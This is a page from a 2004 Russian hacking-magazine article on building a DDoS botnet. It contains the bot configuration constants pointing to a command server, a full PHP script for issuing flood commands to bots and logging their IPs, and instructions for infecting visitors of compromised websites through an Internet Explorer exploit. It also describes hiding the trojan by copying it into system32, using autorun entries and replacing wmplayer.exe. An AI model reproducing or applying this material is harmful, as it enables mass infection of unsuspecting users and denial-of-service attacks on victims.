Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #70, ОКТЯБРЬ 2004 г.

DDoS в картинках

Федор Михайлович

Хакер, номер #070, стр. 070-078-3


// адрес web-сервера

#define WEBADDRESS "ired.inins.ru"

// имя файла\скрипта

#define WEBFILE "flood"

// размер пакета

#define PACKETSIZE 1000

// частота отсылки пакетов

#define FREQ 100

Скажу несколько слов о каждом параметре. Как я уже отмечал выше, троян самостоятельно получает команду, подключаясь к веб-серверу, урл которого определяется константой WEBADDRESS. Бот запрашивает на этом сервере документ с именем, хранящимся в WEBFILE и, исходя из полученной там команды, выполняет некоторое действие. Как вариант – начинает флудить жертву пакетами длинной PACKETSIZE, отсылая их 1 раз во временной промежуток, определяемый параметром FREQ. Дефолтные параметры отлично работают для средней паршивости кабельных каналов, при использовании модемного соединения могут возникнуть некоторые проблемы, поэтому целесообразно может быть уменьшить длину пакета и увеличить параметр FREQ. Но это уже твое дело :). Как тебе, надеюсь, понятно, в качестве файла с заданием может выступать не просто текстовик, но и любой сценарий – ведь web-сервер отдает клиенту текстовый вывод этого скрипта, а DDoS-боту нет никакой разницы, с чем работать. По этой причине целесообразно для удобства написать несложный php-сценарий для управления ботами и сборки статистики. Я не стану тебя особенно грузить и просто приведу здесь содержимое этого скрипта, который я написал за 5 минут:

Скрипт для управления ботами.

<?

if(isset($_GET[sta])) { /* Конфигурируем ботов */

Echo "<h1> Configuring and stats about DDoS bots</h1> ";

if(isset($_GET[sub])) { /* Если форма с новым заданием отправлена, открываем файл и перезаписываем содердимое */

$fp=fopen("command.db", "w");

if(fwrite($fp, $_GET[cmd])) echo "Command updated!<br> ";

}

$fp=fopen("command.db", "r"); /* Выводим форму для смены текущей команды */

$cmd=fread($fp, 100);

echo "<form action=''> ";

echo "<input type=hidden name=sta value=1> ";

Echo "Current command is: <input type=text name=cmd value='$cmd'> ";

echo "<input type=submit name=sub value=\"Refresh!\"";

echo "</form> ";

} else { /* Если бот запрашивает команду, выводим ему содержимое файла, где она хранится и записываем ip в специальная файл */

$HTTP_SERVER_VARS["REMOTE_ADDR"];

$fp=fopen("stat.db", "a");

fwrite($fp, $HTTP_SERVER_VARS["REMOTE_ADDR"]);

fwrite($fp, "\n");

$fp=fopen("command.db", "r");

$cmd=fread($fp, 100);

echo $cmd; }

?>

Итак, мы создали систему контроля за работой ботов и сбора статистики. Теперь настало время подготовить код эксплойта для затроянивания пользователей. Это совсем не сложно, вот увидишь :).

Засылаем казачка

Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал javascript-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.

Назад на стр. 070-078-2  Содержание  Вперед на стр. 070-078-4